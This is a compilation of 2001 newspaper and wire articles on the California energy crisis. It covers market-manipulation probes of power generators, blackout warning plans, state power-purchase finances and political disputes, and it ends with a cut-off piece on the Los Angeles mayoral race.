In recent days, top California officials have stepped up their rhetoric 
against a handful of merchant power companies, many of them Texas-based, that 
supply the state with much of its juice. Gov. Gray Davis says companies such 
as Reliant Energy Inc., of Houston, have engaged in "unconscionable 
price-gouging." Loretta Lynch, president of the California Public Utilities 
Commission and a Davis appointee, proclaims that a "cartel" of electricity 
producers has created artificial shortages. Lt. Gov. Cruz Bustamante is 
backing a bill that would make energy price-fixing a felony, and as a private 
citizen he is suing several major power producers in Los Angeles state court.

Investigations Under Way

About half a dozen investigations are being conducted by entities ranging 
from state legislative committees to the California attorney general's 
office. So far, these probes -- some of which have been under way for months 
-- haven't yet yielded either civil or criminal charges.

While the energy suppliers are generating "unconscionable profits," the 
question remains "whether they are illegal profits," says California Attorney 
General Bill Lockyer, who has offered rewards of as much as hundreds of 
millions of dollars for information about lawbreaking in the energy business.

Mr. Lockyer says he believes his office will eventually file civil charges 
against suppliers. He would very much like to add criminal counts. "I would 
love to personally escort [Enron Corp. Chairman Kenneth] Lay to an 8 x 10 
cell that he could share with a tattooed dude who says 'Hi my name is Spike, 
honey,' " adds Mr. Lockyer. Houston-based Enron is a major energy-trading 
company. Like other such firms, Enron has denied wrongdoing in the California 
market.

Mark Palmer, Enron's vice president for corporate communications, said Mr. 
Lockyer's comment about Mr. Lay " is so counterproductive that it doesn't 
merit a response."

Investigators and academics say there is abundant evidence that individual 
firms have been exercising "market power." This term is used to denote 
efforts to influence wholesale-electricity prices, such as by withholding 
supplies. The California Independent System Operator, or ISO, which manages 
the state's electric transmission grid, estimates that by exercising market 
power, suppliers may have added about $6.8 billion to the cost of electricity 
in the state since early last year.

A single firm exercising such power isn't necessarily illegal, says Severin 
Borenstein, director of the University of California Energy Institute. If a 
company is a large supplier in the state and "you're not exercising market 
power, you are not doing your job" on behalf of shareholders, he says.

Mr. Borenstein and others say that there are steps that should be taken 
against suppliers. They note that under federal power law, the Federal Energy 
Regulatory Commission can order refunds for wholesale prices that are above 
"just and reasonable" levels. So far, FERC has tentatively ordered California 
suppliers to make tens of millions of dollars of such refunds, as part of 
that agency's ongoing inquiry into the California market. Critics of the 
suppliers and FERC say the refunds should be in the billions of dollars.

The power industry, not surprisingly, says there is nothing to accusations of 
price manipulation or collusion. Executives point to a botched 
state-utility-deregulation plan that relies heavily on volatile spot-market 
purchases. Suppliers note that over the past decade, California didn't build 
enough new power plants to keep up with demand growth. The allegations of 
manipulation are "a lot of sound and fury and they won't produce anything," 
says Gary Ackerman, executive director of the Western Power Trading Forum, an 
industry trade group.
------------------------------------------------------------------------

Investigations Aplenty

In the year since California's energy deregulation plan began resulting in 
higher prices and even blackouts, a flurry of investigations has gotten under 
way. Here are the main ones:
Agency ????Investigation 
Federal Energy Regulatory Commission ????Whether generators are charging more 
than "just and reasonable" rates as demanded by the Federal Power Act; 
whether El Paso Corp. used its position as a major natural-gas supplier to 
the state to illegally drive up the price of fuel used to generate 
electricity. 
California Public Utilities Commission and the State Attorney General 
????Whether generators and power traders have acted illegally through 
collusion or other means to artificially inflate electricity prices. 
PUC and California Independent System Operator ????Whether generation plants 
were shut down for spurious reasons in order to create supply shortages and, 
thus, to raise electricity prices. 
California Electricity Oversight Board ????Whether patterns of bidding and 
pricing in California's electricity auction indicate collusive or otherwise 
illegal behavior. 

Sources: state and federal agencies

Power generators also point to sharp increases in some of their costs, 
particularly natural gas, which is a major power-plant fuel. This rise in 
natural-gas prices also has set off a flurry of investigations over possible 
manipulation. One such case, involving El Paso Corp., Houston, is the subject 
of probes by federal and state officials. El Paso denies any wrongdoing.

While power-industry officials say they have been cooperating with the 
investigations, law-enforcement officials say they have hit some roadblocks. 
For instance, Mr. Lockyer's office has gone to San Francisco state court to 
enforce subpoenas against Reliant, Houston-based Dynegy Inc. and Southern Co. 
and Mirant Corp., both of Atlanta, after the companies resisted turning over 
certain business documents they deemed confidential.

Investigators have zeroed in on the increased frequency with which plants are 
going out of service for unscheduled outages. At times, several thousand 
fewer megawatts of capacity are available than a year ago. A thousand 
megawatts can power about one million homes.

'Forced Outage' Rate Rises

Generators say that this increased "forced outage" rate shows that tight 
supplies over the past year have required them to run plants, some of them 
more than 40 years old, for long periods without routine maintenance. This 
combination has produced more breakdowns. "Plants have been running flat 
out," says Tom Williams, a spokesman for Duke Energy Co., Charlotte, N.C., 
which says that its California power plants produced 50% more electricity in 
2000 than in 1999.

At the same time, during periods of lower demand, the number of unplanned 
outages often seems to rise enough to keep supplies tight, says Frank Wolak, 
a Stanford University professor and chairman of the ISO's market surveillance 
committee. "Clearly, something is going on here." However, he and others say 
that it is almost impossible to tell why a particular pipe failed or whether 
such a failure was a legitimate reason to reduce output.

Some of the most intriguing evidence to date about forced outages surfaced in 
a federal case. FERC officials said an investigation had raised questions 
about whether two major power companies had taken plants out of service in 
order to reap higher electricity prices. The charges against AES Corp., 
Arlington, Va., which owns the plants, and Williams Cos., Tulsa, Okla., which 
markets their output, asserted that those actions allowed the companies to 
reap an extra $10.8 million in revenue.

In one instance, according to case filings, a Williams employee "indicated" 
to AES officials that his firm wouldn't financially penalize AES for 
extending an outage at one plant. This conversation, which was voluntarily 
divulged by Williams, could be an indication of collusion. Williams and AES 
settled the case without admitting any wrongdoing by paying back $8 million 
to the ISO and by taking certain other measures. A Williams spokeswoman says 
the employee who talked to AES was "counseled not to enter into any 
conversations of that nature" in the future.

Another issue raised by the FERC case touched on maintenance procedures. 
According to the filings, AES stopped doing a certain procedure to keep its 
plant's cooling system from getting clogged. The clogging of the system was 
cited as a reason for one of the forced outages. Mark Woodruff, president of 
the AES unit that operates the plant in question, says the company 
substituted what it felt was an equally effective maintenance procedure.

If someone was looking to keep supplies tight and prices high, changes in 
maintenance procedures would be an easy way to ensure that plants, 
particularly old ones, have frequent forced outages, says a senior 
utility-industry executive. By restricting maintenance resources, he says, an 
operator can simply allow a plant "to take itself out of service."

Write to John R. Emshwiller at john.emshwiller@wsj.com

Copyright 2001 Knight Ridder/Tribune News Service
???????????????????????Knight Ridder/Tribune News Service

??????????????????????????????Contra Costa Times

????????????????????????????May 22, 2001, Tuesday

SECTION: STATE AND REGIONAL NEWS

KR-ACC-NO: ?K4988

LENGTH: 803 words

HEADLINE: ISO will give advanced warning of power blackouts

BYLINE: By Mike Taugher and Andrew LaMar

BODY:

??WALNUT CREEK, Calif. _ The East has its hurricane watches and hurricane
warnings. Now California has power watches and power warnings to guide 
residents
through days of summer blackouts.

??Beginning next week, forecasters who look at variables like electricity 
loads
and transmission constraints instead of wind speeds and barometric pressure 
will
lay the odds of blackouts being imposed the next day. If those odds appear to 
be
50-50 or greater, they will issue a power warning.

??In addition, the California Independent System Operator will issue 30-minute
advisories to warn state residents that blackouts are probably imminent.

??The new warnings are in response to complaints that blackouts have taken
people by surprise.

??"What we're hearing from the public is they wanted a little more heads-up
when it comes to blackouts," said ISO spokeswoman Stephanie McCorkle.

??Meanwhile, Gov. Gray Davis was in Chicago Monday to hear firsthand from city
officials about how an advance notification program can work. State lawmakers
are exploring ways to provide Californians with greater notice of potential
blackouts, including scheduling them in advance.

??In Chicago, where aging lines and structural limitations have produced a
string of power outages over the past two summers, residents often receive 30
minutes warning a blackout is coming, and grid operators work with city 
agencies
and police to ensure criminals don't take advantage of the opportunity.

??California's new warning system has considerable limits.

??The ISO, after all, does not determine where blackouts occur. They simply
tell the three utilities in the system _ Pacific Gas & Electric, Southern
California Edison and San Diego Gas & Electric _ when to shut off power and 
how
much to turn off.

??It is up to the utilities to determine where the blackouts occur.

??PG&E's website posts which of 14 outage blocks is next to be hit, so anyone
who knows their block number could use information from PG&E and the ISO
websites to prepare for a blackout.

??PG&E spokesman John Nelson said the Northern California utility can make 
tens
of thousands of phone calls to businesses and customers who need power for
life-support systems and other medical necessities "in a very short period of
time."

??"We think that anything that increases the amount of time that we're given 
by
the ISO . . . is a good thing," Nelson said, adding that at the beginning of
this year the utility was assuming that it would get about 30 minutes notice
before blackouts were ordered.

??In another development on Monday, state Controller Kathleen Connell issued
another warning about the financial toll California's energy crisis is taking 
on
the state treasury. Connell said the state could run out of cash by Sept. 1 
if $
13.4 billion in revenue bonds aren't sold.

??The state plans to sell the bonds in late August to cover the cost of buying
electricity needed by financially troubled Pacific Gas & Electric Co. and
Southern California Edison to serve their customers.

??Even if the bonds go through without a hitch, Connell said the state will
have to seek more bonds or borrow between $3 billion and $5 billion beginning
February 2002 to continue buying power. She said electricity purchases are
costing the state more than the governor anticipated and far less has been
bought through long-term contracts than Davis planned.

??But the governor's top energy aides challenged Connell's analysis and said
they believe long-term contracts now being put in place combined with
conservation efforts will bring spending down. Joe Fichera, a Davis financial
adviser, said the state spent $1.8 billion to buy power in April, only 1.4
percent higher than the $1.78 billion estimated.

??"I think reasonable people can differ in terms of the projections," Fichera
said. "I don't know what's underlying all of her assumptions and such. We do
have more complete information . . . ."

??To highlight the exorbitant costs of power, Connell pointed to an enlarged
picture of a $533 million check the state sent the Mirant Corp. for April 
power
purchases.

??Mirant defended its sales. Included in its April sales were $126 million
worth of electricity that the company bought from companies unwilling to sell 
to
California but which Mirant purchased and then sold to California at a 12
percent markup, according to figures released by the company.

??"If the intent was to somehow attack Mirant for its role in the California 
market in April, then I'd have to say that the state has apparently decided to
bite a helping hand," said Randy Harrison, CEO of Mirant's western U.S.
operations.

??KRT CALIFORNIA is a premium service of Knight Ridder/Tribune

??(c) 2001, Contra Costa Times (Walnut Creek, Calif.).

??Visit the Contra Costa Times on the Web at http://www.cctimes.com/
 
JOURNAL-CODE: CC

LOAD-DATE: May 22, 2001

??????????????????????????????5 of 85 DOCUMENTS

??????????????????????Copyright 2001 Copley News Service

?????????????????????????????Copley News Service

SECTION: State and regional

LENGTH: 1066 words

HEADLINE: State sends $533.2 million to company, part of April bill

BYLINE: Ed Mendel

DATELINE: SACRAMENTO

BODY:

??One of the biggest single checks ever issued by the state of California,
$533.2 million, went to an Atlanta-based firm Friday for power purchased for
California utility customers during a single month, April.

??Mirant, formerly Southern Energy, says more than half of the power came from
three plants in the San Francisco Bay Area that it purchased from Pacific Gas
and Electric for $801 million under a failed deregulation plan.

??State Treasurer Kathleen Connell, who displayed a blown-up copy of the check
at a news conference yesterday, said she thinks the state has failed to obtain
enough cheap long-term power contracts and will have to borrow more than the
$13.4 billion planned.

??Connell, an elected official who issues state checks, said the power bills
she had paid by last Thursday, totaling $5.1 billion, provide no basis for
assuming that the price of electricity ''is dropping and that it will continue
to drop through the summer.''

??But a consultant for Gov. Gray Davis said the state, which has more 
long-term
contracts than Connell has seen, is on track to control power costs with the 
aid
of conservation and that it plans to meet its goals without additional
borrowing.

??''I think the public should have confidence that this is not a rosy
scenario,'' said Joseph Fichera of Saber Partners, a Davis consultant. ''It's
the expected scenario.''

??The state plans to issue a bond of up to $13.4 billion in late August that
will repay the general-fund taxpayer money used for power purchases, about $7
billion so far. The bond will be paid off over 15 years by utility customers.

??Davis has declined to reveal details of state spending for power, arguing
that the information would be used by power suppliers to submit higher bids. A
group of newspapers and Republican legislators have filed lawsuits to force
disclosure.

??Connell said she has received 25 contracts from 17 power suppliers. She
declined to release details of the contracts, saying they are complicated and
have varying prices.

??Connell said the check for $533,181,235 issued to Mirant Friday is one of 
the
largest she has written since taking office in 1995.

??''This purchase was made entirely at spot-market prices,'' Connell said,
''even though the Department of Water Resources (the state agency that 
purchases
power) has an executed long-term contract with this company.''

??Mirant said in a statement that, at the request of the state, its marketing
arm gave the state a ''helping hand'' by buying power from suppliers not 
willing
to sell to the state and then reselling the power to the state.

??''We've done the state a tremendous service in purchasing power on its
behalf,'' said Randy Harrison, Mirant's Western chief executive officer, ''and
it's wrong for the transactions to be misinterpreted and skewed in a negative
light.''

??Mirant said its subsidiaries generated 1.377 million megawatt-hours in 
April,
while its marketing arm purchased enough additional electricity to boost the
total sold to the state during the month to 2.077 million megawatt-hours.

??The firm said the power was sold for an average of $256.87 per 
megawatt-hour.
That's below the $346 average that the state expects to pay on the expensive
spot market during the second quarter of this year, from April through June.

??But it's well above the average price of $69 per megawatt-hour said to have
been obtained in the first round of long-term contracts negotiated by the 
state.

??Mirant purchased three power plants from PG&E capable of producing 3,000
megawatts during a controversial part of deregulation. The state Public
Utilities Commission ordered utilities to sell off at least half of their
fossil-fuel power plants without requiring the purchasers to provide low-cost
power to California.

??The utilities sold nearly two dozen major power plants capable of producing
more than 20,000 megawatts. The largest group of plants, 4,700 megawatts, went
to AES Corp. of Virginia. Three Texas firms purchased plants producing 7,000
megawatts.

??The power supply situation in California remained sound enough yesterday to
ward off blackouts, although temperatures are on the rise throughout the 
state.
More heat means more air conditioning, and a greater strain on the system.

??But starting next month, the state's electricity grid managers plan to
provide businesses and consumers with better forecasts of potential rolling
blackouts.

??The California Independent System Operator will post on its Web site ''power
warnings'' when there is at least a 50 percent chance that rolling blackouts
might be required during the next 24 hours. The ISO will issue a ''power 
watch''
when less-critical shortages are anticipated in advance of high demand days.

??The agency also plans to give a 30-minute warning before it orders utilities
to cut power to customers, posting information about probable interruptions on
its Web site. Its Web site address is www.caiso.com.

??''There have been a number of requests from businesses and consumers alike
that would like more advance notice and to be able to plan better. That's what
we are trying to do,'' ISO spokeswoman Lorie O'Donley said.

??O'Donley said many details about how notifications will occur still have to
be worked out, including whether e-mails or pagers might be used.

??In other developments in the electricity crisis:

???About 1.5 million compact fluorescent light bulbs will be distributed to
375,000 households as part of the ''Power Walk'' program that began during the
weekend. Members of the California Conservation Corps are going door-to-door 
in
parts of some cities to distribute the bulbs as part of a $20 million
conservation program.

???Republican legislative leaders sent Davis a letter criticizing the governor
for using taxpayer funds to hire two aides to former Vice President Al Gore as
communication consultants for $30,000 a month. The Republicans said Mark 
Fabiani
and Chris Lehane operate ''a partisan, cut-throat political communications
firm.''

???The state auditor general said in a report on energy deregulation that the
state is not meeting some of its goals for conservation and for building new
power plants. The auditor also said the PUC does not have a process for 
quickly
approving new transmission lines. The state has been importing about 20 
percent
of its power.

Staff writer Karen Kucher contributed to this report.

??????????????????????????????6 of 85 DOCUMENTS

LENGTH: 308 words

HEADLINE: Business customers criticize proposed 29 percent SDG&E rate hike

BYLINE: Craig D. Rose

DATELINE: SAN DIEGO

BODY:

??San Dieg Gas and Electric's commercial customers are attacking the prospect
of paying an average of 29 percent more to cover the state's soaring cost of
buying electricity. 

??At a California Public Utilities Commission hearing in San Diego yesterday,
some business customers also noted the irony that only in February did they 
win
the same rate freeze as residential customers.

??''We need rates we can depend on,'' said John Roberts, who owns an 
irrigation
products business in San Marcos.

??SDG&E customers were the first to bear the brunt of deregulation, and the
utility's residential ratepayers were the first to win a reprieve when the 
state
passed a 6.5-cent per kilowatt hour cap.

??The SDG&E cap is expected to end for all customers in the coming weeks as 
the
commission moves to increase SDG&E's rates to levels now paid by customers of
PG&E and Edison, which are about 3 cents per kilowatt hour higher.

??Yesterday's hearing, however, was for commercial rates.

??Roberts said his San Marcos-based irrigation products company has withstood 
a
tripling of power costs over the past year, while having to cut the cost of 
its
products because of competition, he said.

??Roberts added that socking businesses with high costs in order to spare
residential electricity customers from expected rate hikes could be
counterproductive.

??''If businesses leave the state, they'll be without jobs, and a $30 savings
on their power bills won't mean much,'' Roberts said.

??The hearing at the County Administration Building was attended by about 30
people. An additional hearing is scheduled at 7 p.m. today in the Community
Rooms at the Oceanside Civic Center, 330 N. Coast Highway.

??Larger crowds are expected for hearings on residential rate increases. Dates
for those hearings have not been set.

???WAGNER-CNS-SD-05-21-01 2238PST

??????????????????????????????9 of 85 DOCUMENTS

??????????????????????Copyright 2001 / Los Angeles Times

??????????????????????????????Los Angeles Times

??????????????????????May 22, 2001 Tuesday ?Home Edition

SECTION: California; Part 2; Page 12; Metro Desk

LENGTH: 426 words

HEADLINE: Davis' Hiring of Consultants

BODY:

??Re "Davis Sharpens Attack on Bush Energy Plan," May 19: It is very clear 
that
Gov. Gray Davis has one major political goal: running for president of the
United States. His recent hiring of two--not one--political aides, to be paid
for by the taxpayers at a monthly rate more than double the salary of the
governor, means that Davis has decided that the California taxpayer will pay
through the nose to support this goal.

??These consultants are not experts in the energy area, which is the biggest
problem facing California today, but are experienced spin doctors brought in 
to
try to improve the diving image of Davis. I have no problem with the governor
bringing in these men at his own expense, but for the taxpayer to foot the 
bill
is bordering on criminal.

??Jack Bendar

???o7 Pacific Palisades

???f7 *

??Is anyone as outraged as I am over Davis hiring, at California taxpayers'
expense, damage-control experts to cover his lack of energy policy leadership?
The fee of $30,000 per month is outrageous and is an insult to citizens. If
Davis feels that he needs consultants to save his image, they should be paid
from his campaign treasure chest and not by California taxpayers.

??David Anderson

???o7 Mission Viejo

???f7 *

??Davis is obeying Rule No.1 for all politicians: When things are going badly,
first find a scapegoat. Davis has the power generating companies. But, as Pogo
said, "We have met the enemy, and he is us." If Davis and his cronies in the
Legislature had the courage to allow retail electricity prices to rise,
businesses and individuals would have a financial incentive to conserve.

??If Davis and his cronies had had the wisdom to foresee the huge capacity
shortfall looming, perhaps California wouldn't have wasted the last decade
without bringing even one new power plant online. And now, the best he can 
come
up with is to beg Washington for help?

??Mark Wallace

???o7 Los Angeles

???f7 *

??Re "California Left Twisting in the Political Wind," Opinion, May 20: As a
native Californian who escaped in 1994, I would recommend coming to South
Dakota, where there's plenty of inexpensive power, great schools, fresh air,
open spaces, a low cost of living and normal people, but most of you are just
too damned stupid and self-centered to figure out that neither the state
government nor federal government will tell you to wear a heavy coat in the
winter and stay inside during a blizzard. You'd have to figure that out for
yourselves. Too bad. No; actually, it's good.

??Ken Russell

???o7 Arlington, S.D.

???f7

??????????????????????????????10 of 85 DOCUMENTS

SECTION: California; Part 2; Page 8; Metro Desk

LENGTH: 621 words

HEADLINE: The State;
;
GOP Criticizes Davis' Choice of PR Aides;
Capitol: Legislative leaders call the pair political operatives who are too
partisan to represent the state during energy crisis.

BYLINE: DAN MORAIN, TIMES STAFF WRITER

BODY:

??Republican legislative leaders Monday blasted Gov. Gray Davis' decision to
spend $30,000 a month in taxpayer money to retain communications consultants
known for their highly partisan work.

??Labeling consultants Mark Fabiani and Chris Lehane as "cut-throat," Senate
GOP leader Jim Brulte of Rancho Cucamonga and Assembly Republican leader Dave
Cox of Fair Oaks said in a letter to Davis that the hiring "undermines the
assertions you have made both publicly and privately throughout this crisis."

??Davis announced Friday that he retained the duo and that the state will pay
them a combined $30,000 a month for at least the next six months.

??"We're not going to support the hiring of political hacks on government
payroll," Brulte said in an interview. "Lehane and Fabiani are very talented.
The issue is which payroll is appropriate. . . . These are political 
opposition
research attack dogs. If the governor wants them, he ought to pay for them 
with
his $30-million political war chest."

??Some consumer advocates also criticized the move, citing the consultants'
work on behalf of Southern California Edison. In their private consulting
business, Fabiani and Lehane are working to win over public and political
support for Davis' $3.5-billion plan to rescue Edison from its financial
difficulties. Legislation embodying aspects of the deal is pending in
Sacramento.

??On Monday, Brulte and Cox also complained about the consultants' dual role.

??"California taxpayers should not be asked to finance political consultants 
or
individuals who have a vested business interest with the state," the letter
said.

??Fabiani and Lehane had worked in the Clinton administration, and in Vice
President Al Gore's presidential campaign, where they gained a reputation as
attack-oriented operatives. Lehane on Monday defended the governor's decision 
to
use tax money to pay their fees, saying government often hires outside experts
and that he and Fabiani will "serve as communications advisors to help the
governor fight against these generators."

??"The Republicans," Lehane added, "ought to be spending time writing letters
to George W. Bush to get him to stop the Texas generators from gouging
California. . . . That is the real issue here."

??Davis, meanwhile, returned to California on Monday after a weekend of
fund-raisers. He was in Texas on Saturday for a Dallas event that had been
scheduled for April 11. It was postponed when Pacific Gas & Electric filed for
bankruptcy protection.

??"There is a very large fund-raising base for Democrats in Texas," Davis'
campaign strategist, Garry South, said of the state that is home to some of 
the
generators that Davis has criticized.

??Davis traveled to Chicago for another fund-raiser Sunday, then met Monday
with city officials to discuss how Chicago deals with electrical blackouts.

??After blackouts crippled downtown Chicago in the summer of 1999, Mayor
Richard M. Daley demanded that the city's electricity provider, Commonwealth
Edison, give advance notice of power cuts. Customers now sometimes receive
warnings two or three days in advance.

??Davis emerged from the meeting saying "the utilities have got to tell us in
advance when they're going to have a planned blackout."

??It was not, however, readily apparent how Chicago's solutions would 
translate
to California, because its electrical problems are vastly different. Rather 
than
suffering a shortage of electricity throughout the grid like California, 
Chicago
has the more microcosmic ills of an aging system--an obsolete transformer 
going
down, for example, leaving several city blocks in the dark until workers can 
fix
it.

??*

??Times staff writer Eric Slater contributed to this story.

GRAPHIC: PHOTO: Protester Barbara King shakes a light bulb outside Sacramento
office of a lobbyist for energy producer Enron near the Capitol. PHOTOGRAPHER:
ROBERT DURELL / Los Angeles Times

??????????????????????????????11 of 85 DOCUMENTS

LENGTH: 584 words

;
Legislators Set to Sue Federal Energy Agency;
Power: Lawmakers try a new idea: a lawsuit arguing that blackouts pose danger 
to
people, law enforcement and even water supply.

BODY:

??Legislative Democrats today will sue federal energy regulators, charging 
that
their inaction threatens elderly people in nursing homes, children in day care
centers, law enforcement and its ability to fight crime, and the state's
drinking water supplies.

??Rather than focus on record wholesale energy costs, the lawsuit takes a new
tack, homing in on the threat to health and safety posed by California's 
energy
crisis and the blackouts likely this summer.

??A draft of the suit seeks to force the Federal Energy Regulatory Commission
to set "just and reasonable" wholesale power rates as a way of ending the 
crisis
before blackouts occur. The action is being filed by veteran trial attorney 
Joe
Cotchett on behalf of Senate President Pro Tem John Burton (D-San Francisco),
Assembly Speaker Bob Hertzberg (D-Sherman Oaks), and the city of Oakland.

??"A crisis of unprecedented dimensions is already taking shape in 
California,"
the draft says. "The public health, safety and welfare of the state's 34 
million
residents is in jeopardy due to the tragic consequences of rolling blackouts 
and
punitive prices."

??Suit Says Blackouts Pose Threats

??Until now, most California officials, including Gov. Gray Davis, have been
urging that the regulatory commission cap wholesale power prices as a way of
limiting costs to the state, which has spent more than $6 billion buying
electricity since January.

??In the lawsuit, Cotchett will be arguing that while higher bills will 
stretch
the budgets of people on fixed incomes, frail elderly people "are left to 
wonder
if their oxygen tanks, drip IVs, dialysis machines and electricity-powered
therapeutic beds will respond when they are needed."

??"Rolling blackouts represent more than just an annoyance for the men, women
and children with disabilities," the suit says. "They represent an imminent
threat to life, health and independence."

??Cotchett said the suit will be filed in the U.S. 9th Circuit Court of 
Appeals
in San Francisco, bypassing the federal trial court. Cotchett said the circuit
court has direct jurisdiction over FERC.

??Joining Cotchett will be Clark Kelso, a professor at McGeorge Law School in
Sacramento who briefly was insurance commissioner last year after Chuck
Quackenbush resigned. Kelso said he initially was skeptical that lawmakers had
legal standing to sue. But after Cotchett spoke with him, Kelso said he became
convinced the suit had merit.

??"Let's face it," said Kelso, a Republican, "this is the single most 
important
issue that the state faces for the next six months."

??Watching the Water Supply

??The suit cites warnings from governmental agencies about the implications of
blackouts, including one the state Department of Health Services issued 
earlier
this month to public water agencies statewide. The warning contains a sample
notice that local water authorities should give to consumers.

??"If the water looks cloudy or dirty," the warning says, "you should not 
drink
it." The warning suggests that if people are concerned about water quality, 
they
can boil it or add "eight drops of household bleach to one gallon of water, 
and
let it sit for 30 minutes."

??Most water agencies have back-up generators. But the suit says that "if an
agency's water treatment facilities are hit by a power outage, a two-hour
blackout can result in two-day interruptions in providing safe drinking water
because of time needed to bring equipment back online and flush potentially
contaminated water from the system."

??????????????????????????????12 of 85 DOCUMENTS

SECTION: California; Part 2; Page 1; Metro Desk

LENGTH: 892 words

HEADLINE: State to Issue Warnings of Power Outages;
Electricity: Cal-ISO says it will try to give residents and businesses 24-hour
notice of probable blackouts.

BYLINE: MIGUEL BUSTILLO, NANCY VOGEL, TIMES STAFF WRITERS

BODY:

??Californians will hear an expanded forecast on their morning commutes this
summer, courtesy of the energy crisis: "The 405 Freeway is jammed, there's a
slim chance of showers, and oh, by the way, there's a 50% likelihood of
blackouts."

??By the end of this month, the California Independent System Operator, the
agency that manages the state's power grid, expects to issue 24-hour forecasts
generally detailing when and where blackouts can be expected.

??It is also piecing together a high-tech system to give businesses, 
government
officials and the public at least a half-hour notice of a probable blackout in
their area.

??Just how those notices will be issued remains somewhat up in the air, but
Cal-ISO is talking with private companies capable of notifying more than 
10,000
customers a minute via fax and phone, and millions a minute via wireless
communications such as pagers.

??Cal-ISO assembled the plan after complaints from businesses, particularly
those in the Silicon Valley, that last-minute blackouts were costing 
California
millions. The plan also responds to growing political pressure for the public 
to
be kept informed of the barrage of outages that is expected to darken the 
state
this summer because of insufficient supplies of electricity. 

??If Californians' electricity use pattern is similar to last year's, Cal-ISO
has projected, the state could suffer 34 days of blackouts, making increased
notification crucial.

??With a shortage of hydroelectric power imports from the drought-stricken
Pacific Northwest, and no new power plants coming online until July, the 
agency
calculates that there will be a supply-demand gap in June of 3,700
megawatts--enough power to supply 2.8 million homes. A national utility 
industry
group painted a more dire scenario last week when it predicted that California
will experience up to 260 hours of blackouts this summer.

??"The weather report and traffic report are good analogies; people know they
are not 100% accurate, but if [a blackout] really means a lot to them, they 
will
check in," said Mike Florio of the Utility Reform Network, who serves on the
Cal-ISO board.

??Details remain sketchy, and the programs may be altered when the board meets
Thursday. But a Web page called "Today's Outlook" on the agency's Internet 
site,
http://www.caiso.com, will be created to illustrate, hour by hour, how much
electricity is available during a 24-hour period and whether there is a
predicted surplus or shortfall.

??Media outreach will be expanded to provide news bulletins on electricity
conditions a day in advance. They will not only include demand projections and
the effects of weather, but they also will define the level of emergency that 
is
expected.

??A "power watch" will be sounded during stage 1 and stage 2 shortages, and a
more serious "power warning" if there is a 50-50 chance of a stage 3, which
often results in blackouts. (Stage 1 emergencies occur when power reserves 
drop
below 7%, stage 2 5% and stage 3 1.5%.)

??Most important, Cal-ISO is pledging to provide 30-minute notice of probable
blackouts to people in the areas served by Pacific Gas & Electric, Southern
California Edison and San Diego Gas & Electric, among others. In addition to
giving the warnings on the Internet and through the mass media, Cal-ISO will
sound alarms to select e-mail addresses and pager numbers on "blast lists," or
massive computer databases that it will assemble.

??"The technology is there. This is a war California is in, and we should be
deploying high-tech solutions," said Carl Guardino of the Silicon Valley
Manufacturing Group, the Cal-ISO board member who had been pushing hardest for
better notification. "Every time California goes black, the economy sees red."

??Guardino said that businesses and public agencies are now receiving just 
two-
to six-minute warnings before blackouts, not nearly enough to react.

??"A two-minute warning may be sufficient in a football game, but it is
insufficient to protect California businesses and the public," he said.

??Though businesses and government agencies are expected to make the most of
the warnings, Florio said residents also will benefit.

??"It will be more of a challenge to get the information to individual
homeowners, but if someone works at home, and sets it up to get an e-mail
notice, they can take advantage," he said.

??In other energy news Monday, the woman in charge of paying California's 
power
bills warned that a $13.4-billion bond issue to cover electricity purchases 
will
be insufficient and that the state will have to borrow $4 billion more before 
it
runs out of cash in February.

??Calling a news conference in the capital, state Controller Kathleen Connell
questioned the key assumptions underpinning Gov. Gray Davis' financial plan 
for
overcoming the energy crisis. The plan assumes the $13.4 billion in bond sales
will repay state coffers for electricity purchases and cover future power buys
for the next two years.

??Connell's opinion is notable because, as the state's chief check writer, the
independently elected Democrat is privy to information about the prices the
state is paying for electricity bought on the spot market and through 
long-term
contracts--data that Davis has largely kept secret.

??Davis' advisors and Department of Finance officials dispute Connell's
warnings.

??????????????????????????????13 of 85 DOCUMENTS

LENGTH: 1406 words

SERIES: First of four articles

HEADLINE: CAMPAIGN 2001;
Gas Prices, Not Politics, Preoccupy Valley Voters

BYLINE: SUE FOX, TIMES STAFF WRITER

BODY:

??On the sidelines of a boisterous cricket game in Woodley Avenue Park, where
men knock back beer from red plastic cups, nobody is talking about compressed
work schedules for police officers.

??The scheduling debate--a recent flash point in the Los Angeles mayoral
race--isn't much of a conversation item among joggers circling Balboa Lake,
either.

??What matters to people here tends to be far more personal, far more 
connected
to the workaday struggles of weary drivers slogging their way through 
rush-hour
traffic than the political battles engulfing City Hall.

??Gasoline prices. Long commutes. Mediocre schools. Housing costs. At the
Sepulveda Dam Recreation Area, the Valley's answer to Central Park, such
ordinary concerns about money, time and resources stretched too thin for 
comfort
tumbled out again and again during interviews with some two dozen people
visiting this green oasis.

??Sprawling northwest from the tangled junction of the San Diego and Ventura
freeways, the recreation area is a pastoral patchwork of three golf courses
bracketed by Woodley Avenue Park to the east and Lake Balboa to the west. It
hardly looks like a battleground, but the 2,000-acre park straddles something 
of
a political fault line in the mayoral contest.

??Both candidates in the June 5 runoff, former state legislator Antonio
Villaraigosa and City Atty. James K. Hahn, have staked out the Valley as prime
campaign turf, packed with thousands of up-for-grabs voters whose affections
might well tip the race.

??And the Sepulveda Dam Recreation Area is wedged between an electoral no 
man's
land--a southern ribbon of the Valley where about 60% of voters shunned both 
men
in the election's first round--and a central Valley region where Villaraigosa
took first place in April, beating Hahn by roughly a 2-to-1 margin.

??Between them, the candidates are expected to spend more than $10 million by
election day to get their messages out. But it's not clear whether these
impassioned appeals are reaching their intended targets.

??Less than a month before the election, many people here are preoccupied with
concerns that have little to do with City Hall. And when they do voice 
interest
in local matters, some seem unable to connect these issues to a candidate.

??For instance, several Valley voters interviewed in the park in early May 
said
that knotted traffic on the San Diego Freeway was a major problem. But no one
mentioned a plan Villaraigosa unveiled in March to buy hundreds of new buses 
and
slash fares in a sweeping bid to cut vehicle traffic, or a proposal from Hahn 
to
add more carpool lanes on freeways.

??Which raises a fundamental challenge for would-be mayors: Sometimes, there's
just too much going on in everyday life to tune in to city politics. "I know I
ought to," many people confess sheepishly, "but I just haven't gotten around 
to
it yet."

??Take Randye Sandel, 58, a blond and bespectacled oil painter from Valley
Village. Sandel said she plans to vote for Hahn, "a known quantity" in City
Hall, but a moment later admits that she might change her mind. The thing is,
Sandel adds, she's been really busy setting up an art exhibition at a Santa
Monica gallery and has yet to research her mayoral options. "I've been totally
immersed in my own life," she said.

??Same goes for Harold Seay, a muscular golfer heading back to his car after
playing 18 holes. The 44-year-old music teacher from Encino said he's had his
hands full for weeks rehearsing graduation recitals for a Brentwood private
